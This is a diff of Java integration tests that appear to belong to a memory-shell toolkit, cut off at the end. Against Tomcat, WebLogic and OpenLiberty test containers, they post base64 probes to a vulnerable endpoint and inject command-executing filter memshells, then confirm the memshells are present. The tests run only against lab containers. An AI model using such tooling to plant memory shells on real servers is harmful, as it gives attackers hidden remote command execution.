a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11JRE21ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11JRE21ContainerTest.java index 099c2d4e..5ef6766c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11JRE21ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11JRE21ContainerTest.java @@ -2,8 +2,14 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -15,9 +21,11 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -71,4 +79,22 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V21); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.Tomcat, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V21, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); + log.info(data); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat5ContainerTest.java index ec3cf5b5..36353e22 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat5ContainerTest.java @@ -2,8 +2,15 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.AfterAll; @@ -17,9 +24,14 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.anyOf; +import static org.hamcrest.CoreMatchers.startsWith; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -37,8 +49,8 @@ public class Tomcat5ContainerTest { .withExposedPorts(8080); @AfterAll - public static void stopContainer() { - System.out.println(container.getLogs()); + public static void tearDown() { + log.info(container.getLogs()); } // 存在首次请求,Tomcat 无法通过 req.getParameter 拿到参数的情况,因此需要重试 @@ -84,4 +96,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_6); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.Tomcat, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat6ContainerTest.java index 965bf871..3ee494bb 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat6ContainerTest.java @@ -2,8 +2,15 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -15,9 +22,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -76,4 +87,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_6); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.Tomcat, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat7ContainerTest.java index c9af42ce..f0afa751 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat7ContainerTest.java @@ -2,13 +2,20 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; -import org.objectweb.asm.Opcodes; import org.junit.jupiter.api.Test; import org.junitpioneer.jupiter.RetryingTest; +import org.objectweb.asm.Opcodes; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; @@ -16,9 +23,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -78,4 +89,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_7); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.Tomcat, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat8ContainerTest.java index 04acb8e9..c37966a9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat8ContainerTest.java @@ -2,12 +2,19 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; -import org.objectweb.asm.Opcodes; import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; @@ -15,9 +22,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -47,7 +58,9 @@ void testJDK() { void testBasicInfo() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + Files.writeString( + Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), + data); } @Test @@ -78,4 +91,21 @@ void testBytecodeReqParamResponseBody() { ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_8); ProbeAssertion.responseBytecodeWithoutPrefixIsOk(url, Server.Tomcat, Opcodes.V1_8); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.Tomcat, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat9ContainerTest.java index 64938250..f5d62155 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat9ContainerTest.java @@ -2,13 +2,20 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; -import org.objectweb.asm.Opcodes; import org.junit.jupiter.api.Test; import org.junitpioneer.jupiter.RetryingTest; +import org.objectweb.asm.Opcodes; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; @@ -16,9 +23,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -70,4 +81,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V9); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.Tomcat, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic1036ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic1036ContainerTest.java index b044fcec..0a9b0a37 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic1036ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic1036ContainerTest.java @@ -2,11 +2,19 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; @@ -15,9 +23,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWebLogic; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -34,6 +46,11 @@ public class WebLogic1036ContainerTest { .waitingFor(Wait.forHttp("/app")) .withExposedPorts(7001); + @AfterAll + public static void tearDown() { + log.info(container.getLogs()); + } + @Test void testJDK() { String url = getUrlFromWebLogic(container); @@ -69,4 +86,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrlFromWebLogic(container); ProbeAssertion.responseBytecodeIsOk(url, Server.WebLogic, Opcodes.V1_8); } + + @Test + void testFilterProbe() { + String url = getUrlFromWebLogic(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebLogic)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrlFromWebLogic(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.WebLogic, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebLogic)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic12214ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic12214ContainerTest.java index 3ed65515..ed5dcd79 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic12214ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic12214ContainerTest.java @@ -2,8 +2,15 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -16,9 +23,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWebLogic; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -75,4 +86,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrlFromWebLogic(container); ProbeAssertion.responseBytecodeIsOk(url, Server.WebLogic, Opcodes.V1_8); } + + @Test + void testFilterProbe() { + String url = getUrlFromWebLogic(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebLogic)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrlFromWebLogic(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.WebLogic, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebLogic)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic14110ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic14110ContainerTest.java index 68d244b5..15497c48 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic14110ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic14110ContainerTest.java @@ -2,8 +2,15 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -15,9 +22,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWebLogic; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -69,4 +80,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrlFromWebLogic(container); ProbeAssertion.responseBytecodeIsOk(url, Server.WebLogic, Opcodes.V1_8); } + + @Test + void testFilterProbe() { + String url = getUrlFromWebLogic(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebLogic)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrlFromWebLogic(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.WebLogic, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebLogic)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty18ContainerTest.java new file mode 100644 index 00000000..3181b87c --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty18ContainerTest.java @@ -0,0 +1,106 @@ +package com.reajason.javaweb.integration.probe.websphere; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; +import java.time.Duration; +import java.util.List; + +import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +@Testcontainers +@Slf4j +public class OpenLiberty18ContainerTest { + public static final String imageName = "open-liberty:18.0.0.4-webProfile8"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/config/dropins/app.war") + .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) + .withExposedPorts(9080) + .withPrivilegedMode(true); + + @AfterAll + public static void tearDown() { + System.out.println(container.getLogs()); + } + + @Test + void testJDK() { + String url = getUrlFromWAS(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JRE|1.8.0_211|52", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrlFromWAS(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrlFromWAS(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Server.WebSphere, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrlFromWAS(container); + ProbeAssertion.responseCommandIsOk(url, Server.WebSphere, Opcodes.V1_8); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrlFromWAS(container); + ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8); + } + + + @Test + void testFilterProbe() { + String url = getUrlFromWAS(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebSphere)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrlFromWAS(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.WebSphere, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebSphere)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty20ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty20ContainerTest.java new file mode 100644 index 00000000..05989000 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty20ContainerTest.java @@ -0,0 +1,107 @@ +package com.reajason.javaweb.integration.probe.websphere; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; +import java.time.Duration; +import java.util.List; + +import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +@Testcontainers +@Slf4j +public class OpenLiberty20ContainerTest { + public static final String imageName = "open-liberty:20.0.0.12-full-java8-openj9"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/config/dropins/app.war") + .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) + .withExposedPorts(9080) + .withPrivilegedMode(true); + + @AfterAll + public static void tearDown() { + System.out.println(container.getLogs()); + } + + @Test + void testJDK() { + String url = getUrlFromWAS(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JRE|1.8.0_292|52", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrlFromWAS(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrlFromWAS(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Server.WebSphere, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrlFromWAS(container); + 